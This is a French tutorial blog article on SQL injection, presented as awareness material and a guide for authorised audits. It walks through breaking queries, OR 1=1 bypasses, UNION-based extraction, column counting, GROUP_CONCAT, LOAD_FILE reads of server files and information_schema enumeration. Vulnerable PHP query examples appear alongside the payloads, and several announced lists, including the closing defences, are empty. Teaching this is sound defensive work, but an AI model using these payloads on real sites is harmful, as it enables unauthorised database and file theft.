Bonjour à toutes et à tous, j'ai choisi pour mon premier article sur ce site de vous parler de la sécurité de vos sites internet, et plus particulièrement de vos requêtes SQL. C'est un sujet que de nombreuses personnes laissent de côté, souvent par manque de temps ou par manque de motivation. C'est pourtant très important, et laisser certaines failles ouvertes reviennent à donner les identifiants de votre serveur à toute personne sachant les exploiter.
Cet article a pour but de sensibiliser certaines personnes à la sécurité des sites internet. En effet, c'est en connaissant le fonctionnement des failles que l'on parvient le plus efficacement à les contrer.
Dans le monde du développement Web, il existe une règle très importante à respecter pour se protéger des failles de sécurité, il faut considérer que toute variable qui provient de l'extérieur de votre code est dangereuse et doit être protégée. Voici une liste non exhaustive que je complèterai au fur et à mesure des sources de danger :
Pour se protéger de toutes ces potentielles sources de danger, il existe plusieurs moyens comme par exemple :
Maintenant, si vous possédez déjà un site et si vous voulez vérifier sa sécurité au niveau des injections SQL ou si vous réaliser un audit de sécurité sur un site , bien sur uniquement si vous avez l'autorisation de l'auteur, je peux vous aider à identifier ces failles.
La première étape consiste à casser la requête SQL en la rendant invalide et provoquant ainsi une erreur. Supposons que nous nous situons sur un site non sécurisé avec une requête construite de cette façon :
$sql = 'SELECT * FROM articles WHERE categoryid = ' . $GET['category'];
En temps normal, la valeur de 'category' en paramètre GET sera un nombre. Imaginons que 'category' valle le caractère ', voici la requête exécutée au final :
SELECT * FROM articles WHERE category_id = '
On voit bien que cette requête n'est pas valide, et elle va donc provoquer une erreur. Si une erreur s'affiche en modifiant les paramètres de cette façon, le site ne vérifie pas le contenu des paramètres et il est potentiellement vulnérable. Afin de vérifier la présence de ce problème, voici une liste non exhaustive des caractères pouvant provoquer des erreurs :
', ", %23 (# encodé pour les URLs)
Quelques fois, seules les entrées les plus évidentes sont protégées et d'autres restent à vérifier, telles que :
A ce stade, le but est de prendre le contrôle de la faille. Nous arrivons désormais à provoquer une erreur, alors essayons maintenant de corriger l'erreur tout en injectant du code pour obtenir quelque chose comme :
SELECT * FROM articles WHERE category_id = '' OR 1 = 1
Ici le paramètre category a pour valeur '' OR 1 = 1
On peut imaginer que dans ce cas, l'erreur n'apparaîtra plus, mais tous les articles du site seront affichés au lieu de seulement ceux de la catégorie choisie. Bien sûr, ce cas est le plus simple, beaucoup de cas réels sont plus complexes, regardez les requêtes suivantes :
$sql = "SELECT * FROM articles WHERE name LIKE '" . $_GET['name'] . "'"
Ici la variable name doit prendre la valeur ' OR 1 = 1 OR '
pour être corrigée. Ou encore :
$sql = "SELECT * FROM articles LIMIT " . $_GET['start'] . ", 20"
La variable start doit ici contenir `10 #` afin de commenter le reste de la requête. Cette étape sert à tenter de comprendre le fonctionnement de la requête et à voir s'il est possible d'injecter un bout de notre propre code pour la manipuler.
Il est maintenant temps d'exploiter cette faille, c'est-à-dire « sortir » de la requête existante afin d'exécuter notre propre requête librement. Pour cela nous allons avoir besoin du mot clé UNION. En effet, pour exécuter notre requête, nous allons devoir annuler la première en rendant la condition fausse en permanence. Si l'on reprend notre requête d'exemple :
SELECT * FROM articles WHERE category_id = 0 AND 0 UNION ...
La clause AND 0
est toujours fausse, ce qui permet à la requête originale de ne renvoyer aucun résultat. Nous pouvons alors entrer notre requête après le UNION et l'exécuter comme bon nous semble.
Dans le cas d'une requête renvoyant plusieurs résultats, il n'est pas forcément nécessaire d'annuler la requête originale, le résultat de notre requête s'affichera après les résultats de la première. Néanmoins, lorsqu'il s'agit d'une requête ne renvoyant qu'un seul résultat, vous êtes contraints de le faire.
Seulement il reste une étape essentielle avant de réellement écrire la requête que l'on souhaite. L'opérateur UNION ne peut s'applique que si les résultats des deux requêtes renvoient le même nombre de colonnes. Il nous faut donc trouver le nombre de colonnes renvoyées par la première requête. Pour cela il existe deux techniques :
L'opérateur ORDER BY, utilisé pour trier les résultats d'une requête, a la particularité d'accepter aussi bien des noms de champs que des nombres représentant le n-ième champ. Ainsi, ORDER BY 2 triera les résultats en utilisant le second champ. Si l'on spécifie un nombre supérieur au nombre de champs, une erreur est renvoyée. En utilisant cette particularité, il devient facile de déterminer le nombre de champs. Ainsi en injectant 0 AND 0 ORDER BY 10
et en observant le résultat, on peut savoir si le résultat contient plus ou moins de 10 champs. Voici la requête avec le code injecté
SELECT * FROM articles WHERE category_id = 0 AND 0 ORDER BY 10
En tatonnant, on arrive rapidement au résultat recherché, c'est à dire le plus grand nombre qui ne déclenche pas d'erreur. Toutefois, cette méthode ne fonctionne pas à tous les coups, il existe une méthode manuelle pour déterminer le nombre de colonnes.
L'autre méthode consiste tout simplement à essayer de faire la seconde requête en augmentant progressivement le nombre de champs jusqu'à ne plus provoquer d'erreurs. Pour simplifier cette étape, il est possible de ne pas sélectionner des champs dans la seconde requête, mais directement des valeurs de cette manière : SELECT 1, 2, 3, 4
.
Imaginons que la table articles contienne 7 colonnes. Si l'on tente l'injection suivante : 0 AND 0 UNION SELECT 1, 2, 3, 4, 5, 6
, vous obtiendrez une erreur quant à la différence du nombre de champs des deux requêtes. Lorsque vous essayerez avec 7 champs, vous n'aurez plus d'erreurs.
Vous pouvez désormais exécuter vos propres requêtes en les modifiant légèrement en tenant compte du nombre de champs autorisés. Il reste maintenant un problème, la plupart du temps, vous n'avez accès qu'à un seul résultat à l'affichage (c'est par exemple le cas pour l'affichage d'un article), il faut donc trouver un moyen de combiner plusieurs résultats en un seul. C'est le rôle de la fonction GROUPCONCAT en MySQL qui concatène un champ de tous les enregistrements retournés. Voici comment l'utiliser : `SELECT GROUPCONCAT(username SEPARATOR ",") FROM users` pour retourner la liste des noms d'utilisateurs séparés par une virgule. En l'adaptant légèrement à notre cas, on peut donc injecter `0 AND 0 UNION SELECT 1, 2, 3, 4, 5, 6, GROUP_CONCAT(id SEPARATOR ",") FROM articles` pour récupérer la liste des ID des articles de la base.
Attention, la fonction GROUP_CONCAT ne concatène pas l'ensemble des résultats, la liste est tronquée à une certaine longueur en fonction de la configuration de votre serveur. Pour pallier à ce problème, il suffit d'utiliser des LIMIT, par exemple, dans la requête modifiée suivante :
SELECT * FROM articles WHERE category_id = 0 AND 0 UNION SELECT 1, 2, 3, 4, 5, 6, GROUP_CONCAT(id SEPARATOR ",") FROM ( SELECT * FROM articles LIMIT 0, 50 ) t
Sur les serveurs de bases de données MySQL, il existe plusieurs variables systèmes et fonctions utiles :
Pour connaître la version du serveur :
SELECT @@version
Pour connaître l'utilisateur MySQL courant :
SELECT USER()
Pour connaître la base de données courante :
SELECT DATABASE()
Pour les failles n'acceptant pas les caractères ' ou ", il est possible d'entrer des chaînes encodées en hexadécimal :
SELECT 0x48656c6c6f2021 # Affiche "Hello !"
Pour afficher le contenu d'un fichier présent sur le serveur (extrêmement puissant, faites très attention !) :
SELECT LOAD_FILE('/web/index.php')
Pour lister les tables disponibles dans la base de donnée courante :
SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE()
Pour lister les champs d'une table spécifique (il est souvent utile d'encoder le nom de la table en héxadécimal) :
SELECT column_name FROM information_schema.columns WHERE table_name = 'articles'
Et pour finir, si on reprend la requête originale que que l'on souhaite voir les tables de la base de données :
SELECT * FROM articles WHERE category_id = 0 AND 0 UNION SELECT 1, 2, 3, 4, 5, 6, GROUP_CONCAT(table_name SEPARATOR ",") FROM information_schema.tables WHERE table_schema = DATABASE()
Voilà tout ce que je pouvais vous dire sur les injections SQL. Il existe bien sûr de nombreuses autres techniques, mais la base est là. En décorticant les étapes de l'exploitation de cette vulnérabilité, il est maintenant plus facile de déterminer les éléments à protéger sur votre serveur, que ce soit dans la configuration de la base de données ou dans vos scripts PHP, ASP, ... Voici les principaux éléments auxquels vous devez faire attention (à vous de compléter la liste, cela dépend également de votre configuration) :